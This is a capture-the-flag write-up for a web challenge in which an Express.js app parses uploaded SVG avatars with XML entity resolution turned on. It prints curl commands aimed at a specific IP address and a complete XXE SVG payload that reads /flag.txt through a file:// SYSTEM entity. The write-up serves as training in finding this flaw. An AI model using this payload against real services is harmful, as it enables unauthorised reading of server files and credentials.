Вектор атаки
Вектор атаки
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: file_protocol_abuse, local_file_read, svg_xxe, xxe_injection
Summary
Task: Express.js app with SVG avatar upload parsed by XML parser with entity resolution enabled. Solution: XXE injection in SVG file to read /flag.txt via file:// protocol SYSTEM entity.
Вектор атаки (Attack Vector) — Bug Makers CTF
Description
Флаг находится в корне сервера в файле /flag.txt. Адрес: http://31.207.77.216:4017
English summary: The flag is located at /flag.txt on the server. The target is a web application at the given address.
The task name "Вектор атаки" (Attack Vector) is a double entendre — SVG is a vector graphics format, and it serves as the attack vector via XXE injection.
Analysis
The target is an Express.js web application with session-based authentication (connect.sid cookie, X-Powered-By: Express header).
Login page provides demo credentials directly on the page: demo:demo. After logging in, the user is redirected to a profile page (/profile) with two features:
- A form to set a full name (ФИО)
- An SVG avatar upload form (
/upload-avatarendpoint) that accepts only.svgfiles
Key observation: The uploaded SVG content is parsed server-side by an XML parser, and the processed SVG is returned directly in the JSON response (result.svg). This means the XML parser resolves entities before returning the content — a classic XXE condition.
The server-side XML parser (likely libxmljs2 or similar Node.js XML library) has external entity resolution enabled, allowing SYSTEM entities with the file:// protocol to read local files.
Solution
Step 1: Login with demo credentials
bash read-only • copy allowed# Login and capture session cookie curl -c cookies.txt -X POST http://31.207.77.216:4017/login \ -d "username=demo&password=demo" -L
Step 2: Craft XXE payload SVG
Create a malicious SVG file with an XML External Entity declaration that reads /flag.txt:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="10" y="50" font-size="12">&xxe;</text> </svg>
The <!ENTITY xxe SYSTEM "file:///flag.txt"> declaration defines an external entity that reads the local file. When the XML parser processes &xxe; in the <text> element, it replaces it with the file contents.
Step 3: Upload the malicious SVG
bash read-only • copy allowed# Upload XXE SVG payload curl -b cookies.txt -X POST http://31.207.77.216:4017/upload-avatar \ -F "avatar=@xxe.svg;type=image/svg+xml"
Step 4: Extract the flag
The server parsed the SVG, resolved the file:///flag.txt entity, and returned the flag content embedded in the <text> element of the SVG response. The JSON response contained the flag directly in the result.svg field:
BugCTF{REDACTED}